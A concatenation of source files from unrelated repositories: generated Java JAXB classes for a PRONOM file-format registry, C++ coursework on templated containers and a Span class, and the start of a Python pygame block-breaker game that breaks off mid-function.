value of the displayText property. * * @return * possible object is * {@link String } * */ public String getDisplayText() { return displayText; } /** * Sets the value of the displayText property. * * @param value * allowed object is * {@link String } * */ public void setDisplayText(String value) { this.displayText = value; } /** * Gets the value of the documentType property. * * @return * possible object is * {@link String } * */ public String getDocumentType() { return documentType; } /** * Sets the value of the documentType property. * * @param value * allowed object is * {@link String } * */ public void setDocumentType(String value) { this.documentType = value; } /** * Gets the value of the availabilityDescription property. * * @return * possible object is * {@link String } * */ public String getAvailabilityDescription() { return availabilityDescription; } /** * Sets the value of the availabilityDescription property. * * @param value * allowed object is * {@link String } * */ public void setAvailabilityDescription(String value) { this.availabilityDescription = value; } /** * Gets the value of the availabilityNote property. * * @return * possible object is * {@link String } * */ public String getAvailabilityNote() { return availabilityNote; } /** * Sets the value of the availabilityNote property. * * @param value * allowed object is * {@link String } * */ public void setAvailabilityNote(String value) { this.availabilityNote = value; } /** * Gets the value of the publicationDate property. * * @return * possible object is * {@link String } * */ public String getPublicationDate() { return publicationDate; } /** * Sets the value of the publicationDate property. * * @param value * allowed object is * {@link String } * */ public void setPublicationDate(String value) { this.publicationDate = value; } /** * Gets the value of the titleText property. * * @return * possible object is * {@link String } * */ public String getTitleText() { return titleText; } /** * Sets the value of the titleText property. * * @param value * allowed object is * {@link String } * */ public void setTitleText(String value) { this.titleText = value; } /** * Gets the value of the documentIPR property. * * @return * possible object is * {@link String } * */ public String getDocumentIPR() { return documentIPR; } /** * Sets the value of the documentIPR property. * * @param value * allowed object is * {@link String } * */ public void setDocumentIPR(String value) { this.documentIPR = value; } /** * Gets the value of the documentNote property. * * @return * possible object is * {@link String } * */ public String getDocumentNote() { return documentNote; } /** * Sets the value of the documentNote property. * * @param value * allowed object is * {@link String } * */ public void setDocumentNote(String value) { this.documentNote = value; } /** * Gets the value of the documentIdentifier property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the documentIdentifier property. * * <p> * For example, to add a new item, do as follows: * <pre> * getDocumentIdentifier().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document.DocumentIdentifier } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.Document.DocumentIdentifier> getDocumentIdentifier() { if (documentIdentifier == null) { documentIdentifier = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.Document.DocumentIdentifier>(); } return this.documentIdentifier; } /** * Gets the value of the author property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the author property. * * <p> * For example, to add a new item, do as follows: * <pre> * getAuthor().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document.Author } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.Document.Author> getAuthor() { if (author == null) { author = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.Document.Author>(); } return this.author; } /** * Gets the value of the publisher property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the publisher property. * * <p> * For example, to add a new item, do as follows: * <pre> * getPublisher().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document.Publisher } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.Document.Publisher> getPublisher() { if (publisher == null) { publisher = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.Document.Publisher>(); } return this.publisher; } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "authorID", "authorName", "organisationName", "authorCompoundName" }) public static class Author { @XmlElement(name = "AuthorID") protected String authorID; @XmlElement(name = "AuthorName") protected String authorName; @XmlElement(name = "OrganisationName") protected String organisationName; @XmlElement(name = "AuthorCompoundName") protected String authorCompoundName; /** * Gets the value of the authorID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getAuthorID() { return authorID; } /** * Sets the value of the authorID property. * * @param value * allowed object is * {@link String } * */ public void setAuthorID(String value) { this.authorID = value; } /** * Gets the value of the authorName property. * * @return * possible object is * {@link String } * */ public String getAuthorName() { return authorName; } /** * Sets the value of the authorName property. * * @param value * allowed object is * {@link String } * */ public void setAuthorName(String value) { this.authorName = value; } /** * Gets the value of the organisationName property. * * @return * possible object is * {@link String } * */ public String getOrganisationName() { return organisationName; } /** * Sets the value of the organisationName property. * * @param value * allowed object is * {@link String } * */ public void setOrganisationName(String value) { this.organisationName = value; } /** * Gets the value of the authorCompoundName property. * * @return * possible object is * {@link String } * */ public String getAuthorCompoundName() { return authorCompoundName; } /** * Sets the value of the authorCompoundName property. * * @param value * allowed object is * {@link String } * */ public void setAuthorCompoundName(String value) { this.authorCompoundName = value; } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "identifier", "identifierType" }) public static class DocumentIdentifier { @XmlElement(name = "Identifier") protected String identifier; @XmlElement(name = "IdentifierType") protected String identifierType; /** * Gets the value of the identifier property. * * @return * possible object is * {@link String } * */ public String getIdentifier() { return identifier; } /** * Sets the value of the identifier property. * * @param value * allowed object is * {@link String } * */ public void setIdentifier(String value) { this.identifier = value; } /** * Gets the value of the identifierType property. * * @return * possible object is * {@link String } * */ public String getIdentifierType() { return identifierType; } /** * Sets the value of the identifierType property. * * @param value * allowed object is * {@link String } * */ public void setIdentifierType(String value) { this.identifierType = value; } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "publisherID", "publisherName", "organisationName", "publisherCompoundName" }) public static class Publisher { @XmlElement(name = "PublisherID") protected String publisherID; @XmlElement(name = "PublisherName") protected String publisherName; @XmlElement(name = "OrganisationName") protected String organisationName; @XmlElement(name = "PublisherCompoundName") protected String publisherCompoundName; /** * Gets the value of the publisherID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getPublisherID() { return publisherID; } /** * Sets the value of the publisherID property. * * @param value * allowed object is * {@link String } * */ public void setPublisherID(String value) { this.publisherID = value; } /** * Gets the value of the publisherName property. * * @return * possible object is * {@link String } * */ public String getPublisherName() { return publisherName; } /** * Sets the value of the publisherName property. * * @param value * allowed object is * {@link String } * */ public void setPublisherName(String value) { this.publisherName = value; } /** * Gets the value of the organisationName property. * * @return * possible object is * {@link String } * */ public String getOrganisationName() { return organisationName; } /** * Sets the value of the organisationName property. * * @param value * allowed object is * {@link String } * */ public void setOrganisationName(String value) { this.organisationName = value; } /** * Gets the value of the publisherCompoundName property. * * @return * possible object is * {@link String } * */ public String getPublisherCompoundName() { return publisherCompoundName; } /** * Sets the value of the publisherCompoundName property. * * @param value * allowed object is * {@link String } * */ public void setPublisherCompoundName(String value) { this.publisherCompoundName = value; } } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "externalSignatureID", "signature", "signatureType" }) public static class ExternalSignature { @XmlElement(name = "ExternalSignatureID") protected String externalSignatureID; @XmlElement(name = "Signature") protected String signature; @XmlElement(name = "SignatureType") protected SignatureTypes signatureType; /** * Gets the value of the externalSignatureID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getExternalSignatureID() { return externalSignatureID; } /** * Sets the value of the externalSignatureID property. * * @param value * allowed object is * {@link String } * */ public void setExternalSignatureID(String value) { this.externalSignatureID = value; } /** * Gets the value of the signature property. * * @return * possible object is * {@link String } * */ public String getSignature() { return signature; } /** * Sets the value of the signature property. * * @param value * allowed object is * {@link String } * */ public void setSignature(String value) { this.signature = value; } /** * Gets the value of the signatureType property. * * @return * possible object is * {@link String } * */ @NonVisual public SignatureTypes getSignatureType() { return signatureType; } /** * Sets the value of the signatureType property. * * @param value * allowed object is * {@link String } * */ public void setSignatureType(SignatureTypes value) { this.signatureType = value; } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "identifier", "identifierType" }) public static class FileFormatIdentifier { @XmlElement(name = "Identifier") protected String identifier; @XmlElement(name = "IdentifierType") protected IdentifierTypes identifierType; /** * Gets the value of the identifier property. * * @return * possible object is * {@link String } * */ public String getIdentifier() { return identifier; } /** * Sets the value of the identifier property. * * @param value * allowed object is * {@link String } * */ public void setIdentifier(String value) { this.identifier = value; } /** * Gets the value of the identifierType property. * * @return * possible object is * {@link String } * */ public IdentifierTypes getIdentifierType() { return identifierType; } /** * Sets the value of the identifierType property. * * @param value * allowed object is * {@link String } * */ public void setIdentifierType(IdentifierTypes value) { this.identifierType = value; } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "signatureID", "signatureName", "signatureNote", "byteSequence" }) public static class InternalSignature { @XmlElement(name = "SignatureID") protected String signatureID; @XmlElement(name = "SignatureName") protected String signatureName; @XmlElement(name = "SignatureNote") protected String signatureNote; @XmlElement(name = "ByteSequence") protected List<PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.ByteSequence> byteSequence; /** * Gets the value of the signatureID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getSignatureID() { return signatureID; } /** * Sets the value of the signatureID property. * * @param value * allowed object is * {@link String } * */ public void setSignatureID(String value) { this.signatureID = value; } /** * Gets the value of the signatureName property. * * @return * possible object is * {@link String } * */ public String getSignatureName() { return signatureName; } /** * Sets the value of the signatureName property. * * @param value * allowed object is * {@link String } * */ public void setSignatureName(String value) { this.signatureName = value; } /** * Gets the value of the signatureNote property. * * @return * possible object is * {@link String } * */ public String getSignatureNote() { return signatureNote; } /** * Sets the value of the signatureNote property. * * @param value * allowed object is * {@link String } * */ public void setSignatureNote(String value) { this.signatureNote = value; } /** * Gets the value of the byteSequence property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the byteSequence property. * * <p> * For example, to add a new item, do as follows: * <pre> * getByteSequence().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.ByteSequence } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.ByteSequence> getByteSequence() { if (byteSequence == null) { byteSequence = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.ByteSequence>(); } return this.byteSequence; } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "byteSequenceID", "positionType", "offset", "maxOffset", "indirectOffsetLocation", "indirectOffsetLength", "endianness", "byteSequenceValue" }) public static class ByteSequence { @XmlElement(name = "ByteSequenceID") protected String byteSequenceID; @XmlElement(name = "PositionType") protected String positionType; @XmlElement(name = "Offset") protected String offset; @XmlElement(name = "MaxOffset") protected String maxOffset; @XmlElement(name = "IndirectOffsetLocation") protected String indirectOffsetLocation; @XmlElement(name = "IndirectOffsetLength") protected String indirectOffsetLength; @XmlElement(name = "Endianness") protected String endianness; @XmlElement(name = "ByteSequenceValue") protected String byteSequenceValue; /** * Gets the value of the byteSequenceID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getByteSequenceID() { return byteSequenceID; } /** * Sets the value of the byteSequenceID property. * * @param value * allowed object is * {@link String } * */ public void setByteSequenceID(String value) { this.byteSequenceID = value; } /** * Gets the value of the positionType property. * * @return * possible object is * {@link String } * */ public String getPositionType() { return positionType; } /** * Sets the value of the positionType property. * * @param value * allowed object is * {@link String } * */ public void setPositionType(String value) { this.positionType = value; } /** * Gets the value of the offset property. * * @return * possible object is * {@link String } * */ public String getOffset() { return offset; } /** * Sets the value of the offset property. * * @param value * allowed object is * {@link String } * */ public void setOffset(String value) { this.offset = value; } /** * Gets the value of the maxOffset property. * * @return * possible object is * {@link String } * */ public String getMaxOffset() { return maxOffset; } /** * Sets the value of the maxOffset property. * * @param value * allowed object is * {@link String } * */ public void setMaxOffset(String value) { this.maxOffset = value; } /** * Gets the value of the indirectOffsetLocation property. * * @return * possible object is * {@link String } * */ public String getIndirectOffsetLocation() { return indirectOffsetLocation; } /** * Sets the value of the indirectOffsetLocation property. * * @param value * allowed object is * {@link String } * */ public void setIndirectOffsetLocation(String value) { this.indirectOffsetLocation = value; } /** * Gets the value of the indirectOffsetLength property. * * @return * possible object is * {@link String } * */ public String getIndirectOffsetLength() { return indirectOffsetLength; } /** * Sets the value of the indirectOffsetLength property. * * @param value * allowed object is * {@link String } * */ public void setIndirectOffsetLength(String value) { this.indirectOffsetLength = value; } /** * Gets the value of the endianness property. * * @return * possible object is * {@link String } * */ public String getEndianness() { return endianness; } /** * Sets the value of the endianness property. * * @param value * allowed object is * {@link String } * */ public void setEndianness(String value) { this.endianness = value; } /** * Gets the value of the byteSequenceValue property. * * @return * possible object is * {@link String } * */ public String getByteSequenceValue() { return byteSequenceValue; } /** * Sets the value of the byteSequenceValue property. * * @param value * allowed object is * {@link String } * */ public void setByteSequenceValue(String value) { this.byteSequenceValue = value; } } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "fidoSignatureID", "fidoSignatureName", "fidoSignatureNote", "fidoPrioritize", "pattern" }) public static class FidoSignature { @XmlElement(name = "FidoSignatureID") protected String fidoSignatureID; @XmlElement(name = "FidoSignatureName") protected String fidoSignatureName; @XmlElement(name = "FidoSignatureNote") protected String fidoSignatureNote; @XmlElement(name = "FidoPrioritize") protected boolean fidoPrioritize; @XmlElement(name = "Pattern") protected List<PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature.Pattern> pattern; /** * Gets the value of the fidoSignatureID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getFidoSignatureID() { return fidoSignatureID; } /** * Sets the value of the fidoSignatureID property. * * @param value * allowed object is * {@link String } * */ public void setFidoSignatureID(String value) { this.fidoSignatureID = value; } /** * Gets the value of the fidoSignatureName property. * * @return * possible object is * {@link String } * */ public String getFidoSignatureName() { return fidoSignatureName; } /** * Sets the value of the fidoSignatureName property. * * @param value * allowed object is * {@link String } * */ public void setFidoSignatureName(String value) { this.fidoSignatureName = value; } /** * Gets the value of the fidoSignatureNote property. * * @return * possible object is * {@link String } * */ public String getFidoSignatureNote() { return fidoSignatureNote; } /** * Sets the value of the fidoPrioritize property. * * @param value * allowed object is * {@link boolean } * */ public void setFidoPrioritize(boolean value) { this.fidoPrioritize = value; } /** * Gets the value of the fidoPrioritize property. * * @return * possible object is * {@link boolean } * */ public boolean getFidoPrioritize() { return fidoPrioritize; } /** * Sets the value of the fidoSignatureNote property. * * @param value * allowed object is * {@link String } * */ public void setFidoSignatureNote(String value) { this.fidoSignatureNote = value; } /** * Gets the value of the pattern property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the byteSequence property. * * <p> * For example, to add a new item, do as follows: * <pre> * getPattern().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature.Pattern } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature.Pattern> getPattern() { if (pattern == null) { pattern = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature.Pattern>(); } return this.pattern; } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "patternID", "position", "regex" }) public static class Pattern { @XmlElement(name = "PatternID") protected String patternID; @XmlElement(name = "Position") protected PositionType position; @XmlElement(name = "Regex") protected String regex; /** * Gets the value of the patternID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getPatternID() { return patternID; } /** * Sets the value of the patternID property. * * @param value * allowed object is * {@link String } * */ public void setPatternID(String value) { this.patternID = value; } /** * Gets the value of the position property. * * @return * possible object is * {@link PositionType } * */ public PositionType getPosition() { return position; } /** * Sets the value of the position property. * * @param value * allowed object is * {@link PositionType } * */ public void setPosition(PositionType value) { this.position = value; } /** * Gets the value of the regex property. * * @return * possible object is * {@link String } * */ public String getRegex() { return regex; } /** * Sets the value of the regex property. * * @param value * allowed object is * {@link String } * */ public void setRegex(String value) { this.regex = value; } } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "relationshipType", "relatedFormatID", "relatedFormatName", "relatedFormatVersion" }) public static class RelatedFormat { @XmlElement(name = "RelationshipType") protected RelationshipTypes relationshipType; @XmlElement(name = "RelatedFormatID") protected String relatedFormatID; @XmlElement(name = "RelatedFormatName") protected String relatedFormatName; @XmlElement(name = "RelatedFormatVersion") protected String relatedFormatVersion; /** * Gets the value of the relationshipType property. * * @return * possible object is * {@link String } * */ public RelationshipTypes getRelationshipType() { return relationshipType; } /** * Sets the value of the relationshipType property. * * @param value * allowed object is * {@link String } * */ public void setRelationshipType(RelationshipTypes value) { this.relationshipType = value; } /** * Gets the value of the relatedFormatID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getRelatedFormatID() { return relatedFormatID; } /** * Sets the value of the relatedFormatID property. * * @param value * allowed object is * {@link String } * */ public void setRelatedFormatID(String value) { this.relatedFormatID = value; } /** * Gets the value of the relatedFormatName property. * * @return * possible object is * {@link String } * */ public String getRelatedFormatName() { return relatedFormatName; } /** * Sets the value of the relatedFormatName property. * * @param value * allowed object is * {@link String } * */ public void setRelatedFormatName(String value) { this.relatedFormatName = value; } /** * Gets the value of the relatedFormatVersion property. * * @return * possible object is * {@link String } * */ public String getRelatedFormatVersion() { return relatedFormatVersion; } /** * Sets the value of the relatedFormatVersion property. * * @param value * allowed object is * {@link String } * */ public void setRelatedFormatVersion(String value) { this.relatedFormatVersion = value; } } } } public enum RelationshipTypes { Has_priority_over, Has_lower_priority_than, Is_previous_version_of, Is_subsequent_version_of, Is_supertype_of, Is_subtype_of, Equivalent_to; } public enum IdentifierTypes { MIME, PUID, Apple_Uniform_Type_Identifier, Other; } public enum SignatureTypes { File_extension, Other; } } <file_sep>package at.ac.ait.formatRegistry.gui.pages; import java.util.List; import org.apache.tapestry5.annotations.Persist; import uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat; public class ListFormats { private FileFormat format; @Persist private List<FileFormat> resultsList; Object initialize(List<FileFormat> results) { this.resultsList = results; return this; } public List<FileFormat> getFormats() { return resultsList; } public FileFormat getFormat() { return format; } public void setFormat(FileFormat format) { this.format = format; } } <file_sep>formatxmlpath=C:/registry/formatxmlrepository outputxmlpath=C:/registry/work downloadpath=C:/registry/download
ab4d27415343917fde39e7aa91cb56224f6b511b
[ "Java", "Text", "INI" ]
7
Text
rcking/formatregistry
9c6bc5176807c968acf7a1dbaa8b6d7d35df3615
748947437b16da1479c909b6c7516ba1c4a93873
refs/heads/main
<repo_name>InigoRomero/CPP08<file_sep>/ex01/span.cpp # include "Span.hpp" Span::Span() : _length(0), _numbers(0) {} Span::Span(unsigned int n) : _length(n), _numbers(std::vector<int>()) {} Span::Span(Span const &copy) : _length(copy._length) { this->_numbers.clear(); this->_numbers = copy._numbers; } Span::~Span(){} Span &Span::operator=(const Span& op) { this->_length = op._length; this->_numbers = op._numbers; return (*this); } void Span::addNumber(int n) { if (this->_numbers.size() < this->_length) this->_numbers.push_back(n); else throw VectorIsFull(); } size_t Span::shortestSpan() { size_t size = this->_numbers.size(); if (size <= 1) throw Span::ShortSpanException(); std::sort(this->_numbers.begin(), this->_numbers.end()); size_t x = (size_t)this->_numbers[1] - (size_t)this->_numbers[0]; for (size_t n = 0; n < size; n++) if (x > ((size_t)this->_numbers[n + 1] - (size_t)this->_numbers[n])) x = (size_t)this->_numbers[n + 1] - (size_t)this->_numbers[n]; return (x); } long Span::longestSpan() { long x; std::vector<int>::iterator min; std::vector<int>::iterator max; size_t size = this->_numbers.size(); if (size <= 1) throw Span::LongSpanException(); min = std::min_element(this->_numbers.begin(), this->_numbers.end()); max = std::max_element(this->_numbers.begin(), this->_numbers.end()); x = (long)(*min) - (long)(*max); x = x < 0 ? (x * -1) : x; return (x); } //exceptions const char* Span::VectorIsFull::what() const throw() { return "Exception: Vector is FULL"; } const char* Span::ShortSpanException::what() const throw() { return "Exception: ShortSpanException"; } const char* Span::LongSpanException::what() const throw() { return "Exception: LongSpanException"; } <file_sep>/ex02/mutantstack.hpp #ifndef MUTANTSTACK_HPP # define MUTANTSTACK_HPP # include <stack> # include <list> # include <algorithm> template< typename T > class MutantStack : public std::stack<T> { public: typedef typename std::stack<T>::container_type::iterator iterator; typedef typename std::stack<T>::container_type::const_iterator const_iterator; typedef typename std::stack<T>::container_type::reverse_iterator reverse_iterator; typedef typename std::stack<T>::container_type::const_reverse_iterator const_reverse_iterator; MutantStack() : std::stack<T>() {}; MutantStack(const MutantStack& copy) : std::stack<T>(copy){}; virtual ~MutantStack() {}; MutantStack &operator=(const MutantStack &op) { if (this == &op) return (*this); std::stack<T>::operator=(op); return (*this); }; iterator begin() { return (std::stack<T>::c.begin()); } const_iterator begin() const { return (std::stack<T>::c.begin()); } iterator end() { return (std::stack<T>::c.end()); } const_iterator end() const { return (std::stack<T>::c.end()); } reverse_iterator rbegin() { return (std::stack<T>::c.rbegin()); } const_reverse_iterator rbegin() const { return (std::stack<T>::c.rbegin()); } reverse_iterator rend() { return (std::stack<T>::c.rend()); } const_reverse_iterator rend() const { return (std::stack<T>::c.rend()); } }; # endif<file_sep>/ex01/Span.hpp #ifndef SPAN_HPP # define SPAN_HPP # include <iostream> # include <iterator> # include <vector> # include <algorithm> class Span; class Span { private: Span(); unsigned int _length; std::vector<int> _numbers; public: Span(unsigned int n); Span(const Span& copy); virtual ~Span(); //exceptions class ShortSpanException: public std::exception { virtual const char* what() const throw(); }; class LongSpanException: public std::exception { virtual const char* what() const throw(); }; class VectorIsFull: public std::exception { virtual const char* what() const throw(); }; Span &operator=(Span const &op); void addNumber(int n); template < class Iterator > void addNumber(Iterator begin, Iterator end) { if (this->_numbers.size() + std::distance(begin, end) > this->_length) throw(VectorIsFull()); else std::copy(begin, end, std::back_inserter(this->_numbers)); std::sort(this->_numbers.begin(), this->_numbers.end()); } size_t shortestSpan(); long longestSpan(); }; #endif<file_sep>/README.md # CPP08 Templated containers, iterators, algorithms <file_sep>/ex00/main.cpp #include <iostream> #include <vector> #include <deque> #include <list> #include <set> #include <map> #include "easyfind.hpp" int main(void) { //vector std::vector<int> vect(10); int value = 2; std::fill(vect.begin(), vect.end(), value); std::vector<int>::iterator found = easyfind(vect, 2); if (found == vect.end()) std::cout << "[+]Vector[+] Eror 404 Dont found" << std::endl; else std::cout << "[+]Vector[+] Yeah " << *found << " is inside me in " << found - vect.begin() << std::endl; if (easyfind(vect, 666) == vect.end()) std::cout << "[+]Vector[+] Eror 404 Dont found" << std::endl; //map std::map<int, int> map; map.insert(std::pair<int,int>( 2, 30 )); map.insert(std::pair<int,int>( 1, 42 )); map.insert(std::pair<int,int>( 3, 42 )); std::map<int, int>::iterator foundMap = easyfind(map, 42); if (foundMap == map.end()) std::cout << "[+]Map[+] Eror 404 Dont found" << std::endl; else std::cout << "[+]Map[+] Yeah " << foundMap->second << " is inside me in " << foundMap->first << std::endl; if (easyfind(map, 666) == map.end()) std::cout << "[+]Map[+] Eror 404 Dont found" << std::endl; //multimap std::multimap<int, int> multimap; multimap.insert(std::pair<int,int>( 2, 30 )); multimap.insert(std::pair<int,int>( 33, 9 )); std::multimap<int, int>::iterator foundMP = easyfind(multimap, 9); if (foundMP == multimap.end()) std::cout << "[+]MultiMap[+] Eror 404 Dont found" << std::endl; else std::cout << "[+]MultiMap[+] Yeah " << foundMP->second <<" is inside me in " << foundMP->first << std::endl; if (easyfind(multimap, 666) == multimap.end()) std::cout << "[+]MultiMap[+] Eror 404 Dont found" << std::endl; return (0); }<file_sep>/ex01/main.cpp # include "Span.hpp" #include <iostream> #include <list> #include <vector> /* int main() { Span sp = Span(5); sp.addNumber(5); sp.addNumber(3); sp.addNumber(17); sp.addNumber(9); sp.addNumber(11); try{ sp.addNumber(424); } catch(std::exception const &e) { std::cerr << "[+] " << e.what() << std::endl; } //corr std::cout << sp.shortestSpan() << std::endl; std::cout << sp.longestSpan() << std::endl; }*/ int main() { // FULL SPAN Span sp_full = Span(2); sp_full.addNumber(5); sp_full.addNumber(8); std::cerr << "[+] ADD when is full [+]" << std::endl; try { sp_full.addNumber(9); } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } Span sp_short = Span(5); sp_short.addNumber(5); sp_short.addNumber(90); sp_short.addNumber(17); sp_short.addNumber(-8925); sp_short.addNumber(11); std::cerr << "[+] Shortest diference [+]" << std::endl; std::cout << sp_short.shortestSpan() << std::endl; Span sp_short_hard = Span(2); sp_short_hard.addNumber(2147483647); sp_short_hard.addNumber(-2147483648); std::cerr << "[+] Shortest biggest posible [+]" << std::endl; std::cout << sp_short_hard.shortestSpan() << std::endl; Span sp_empty = Span(80); std::cerr << "[+] Empty exception 0 numbers[+]" << std::endl; try { std::cout << sp_empty.shortestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } sp_empty.addNumber(5); std::cerr << "[+] Empty exception with one Number [+]" << std::endl; try { std::cout << sp_empty.shortestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } Span sp_long = Span(4); sp_long.addNumber(8); sp_long.addNumber(-3); sp_long.addNumber(80); sp_long.addNumber(-8); std::cerr << "[+] Long Span [+]" << std::endl; try { std::cout << sp_long.longestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } Span sp_long_hard = Span(4); sp_long_hard.addNumber(2147483647); sp_long_hard.addNumber(-2147483648); std::cerr << "[+] Long Span Long numbers [+]" << std::endl; try { std::cout << sp_long_hard.longestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } std::cerr << "[+] empty Error Long [+]" << std::endl; try { std::cout << sp_empty.longestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } std::cerr << "[+] 10mil numbers plus [+]" << std::endl; Span sp_long_long = Span(100000); std::vector<int> range(100000, 10); range[6666] = 40; sp_long_long.addNumber(range.begin(), range.end()); try { std::cout << sp_long_long.longestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } try { std::cout << sp_long_long.shortestSpan() << std::endl; } catch(const std::exception& e) { std::cerr << "Error : " << e.what() << std::endl; } return (0); }<file_sep>/ex00/easyfind.hpp #ifndef EASYFIND_HPP # define EASYFIND_HPP # include <exception> # include <cctype> # include <map> // easy find T template<typename T> typename T::iterator easyfind(T &ints, int n) { return (std::find(ints.begin(), ints.end(), n)); } //overload template<typename key_type, typename value_type> typename std::map<key_type, value_type>::iterator easyfind(std::map<key_type, value_type> &ints, int n) { typename std::map<key_type, value_type>::iterator it = ints.begin(); for (; it != ints.end(); ++it) if (it->second == n) return (it); return (ints.end()); } template<typename key_type, typename value_type> typename std::multimap<key_type, value_type>::iterator easyfind(std::multimap<key_type, value_type> &ints, int n) { typename std::multimap<key_type, value_type>::iterator it = ints.begin(); for (; it != ints.end(); ++it) if (it->second == n) return (it); return (ints.end()); } #endif
7f0002e268ee4d7885a8928fd3307bb9db652268
[ "Markdown", "C++" ]
7
C++
InigoRomero/CPP08
e814a230187613305f6e0ec5bc43de118dbe663b
311451b5761c99ace53c213a16a600cac08fba18
refs/heads/master
<file_sep>//ZachDickinson // This code will sum an array of ints by using reduce var list = [2, 4, 6, 8]; console.log(list.reduce(function(prevVal, currentVal) { return prevVal += currentVal; })); <file_sep> // ZachDickinson // this code will match regexps that are 4 or 6 chars in length var brown = ["bark", "meow", "gobble", "mooooooooo"]; var brow = new RegExp("^[0-9]{4}([0-9]{6})?$") var toop = []; for ( var i = 0; i < brown.length; i++) { if ( brow.test(brown[i])= true ) { toop.push(brown[i]); } } console.log(toop); <file_sep><<<<<<< HEAD # test2ZWD My practicum codes from test2 ======= # practicum CMP237 Practicum problems for Exam No. 2 >>>>>>> c339f84fe623067de2db7d29e729b9f2f7b686e5
3957f01d8fcfcecd74af043bca02ec562ef5ebf6
[ "JavaScript", "Markdown" ]
3
JavaScript
Zdw414/test2ZWD
83d9e817cdc5cfcdec243b6500e41bdfdd6499b8
302fe375b9ec075a9cb7d69dc858f9e8c0f7519a
refs/heads/master
<file_sep># BLOCK BREAKER WITH CLASS ''' A very simple version of the block breaker game, with 2 blocks that the user must destroy by bouncing the ball on them using a controlled bar at the bottom''' import pygame, sys from pygame.locals import * import random as rm # This is the level number that our class will read in and generate level = 3 # I want to define a class to put everything associated with our blocks to be broken class Block_objects(object): # These are some initial values that are used throughout the class block_length = 75 block_width = 40 block = [] block_colour = [] sub_block = [] blockx = [] blocky = [] # my init function. I only want to read in the level number for now def __init__(self, level): self.level = level # This will generate two arrays: one for the x-positions of the blocks and the other for the y-position # Note the positions will depend on the level number def block_positions(self): if self.level == 1: # if in level 1, just have a single row of 8 blocks side by side for i in range(0, int(screen_pixel_width/self.block_length)): self.blockx.append((self.block_length)*i) # blocks nestled next to one another self.blocky.append(self.block_width*1.5) elif self.level == 2: # in in level 2, just have a single row of 4 blocks equally spaced for i in range(0, int(screen_pixel_width/(2*self.block_length))): self.blockx.append(self.block_length/2 + 2*self.block_length*i) self.blocky.append(self.block_width*1.5) elif self.level == 3: # two rows of 4 blocks for i in range (0, int(screen_pixel_width/(2*self.block_length))): self.blockx.append(self.block_length/2 + 2*self.block_length*i) self.blocky.append(self.block_width*1) self.blockx.append(self.block_length/2 + 2*self.block_length*i) self.blocky.append(self.block_width*2) #self.cat = pygame.image.load('surprise.png') #DISPLAYSURF.blit(self.cat, (100,100)) elif self.level == 4: # three rows of 4 blocks for i in range(0, 